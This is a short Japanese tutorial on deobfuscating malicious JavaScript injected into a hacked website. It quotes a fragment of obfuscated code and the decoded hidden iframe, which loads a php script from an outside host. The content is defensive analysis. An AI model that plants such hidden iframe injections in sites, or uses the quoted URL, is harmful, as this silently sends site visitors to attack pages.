自分のWEBサイトにアクセスすると、見知らぬサイトに転送されている!
ファイルの中身やデータベースを転送先のURLで検索しても見つからない。
そんな時は、攻撃者がバレにくくするために難読化してることが考えられる。
まずは curl でアクセスし、怪しいソースが埋め込まれていないかを確認することをお勧めする。
今回は、株式会社セキュアブレインさんの資料、ウェブ改ざんはこうして起こる その攻撃手法の解説 に記載されている難読化されているコードをお借りして、解読してみよう。
難読化のコード
1 | function v4a8a200c53307(v4a8a200c536fb){ return(parseInt(v4a8a200c536fb,16)); } |
- GoogleChrome を開き、 [ Option + Cmd + j ] で Javascriptコンソールを開く。
- 難読化コード内の “document.write” を “console.log” に置換し、Javascriptコンソールで実行する。
すると以下のようなコードが出てきた。
<iframe name='8a8e' src='http://www.goodstuffreviews.com/wp-includes/pomo/koo/go.php?sid=1' width=163 height=65 style='display:none'></iframe>
参考までに解読する動画を掲載。
これで全てが解読出来るわけではないが是非、お試しあれ。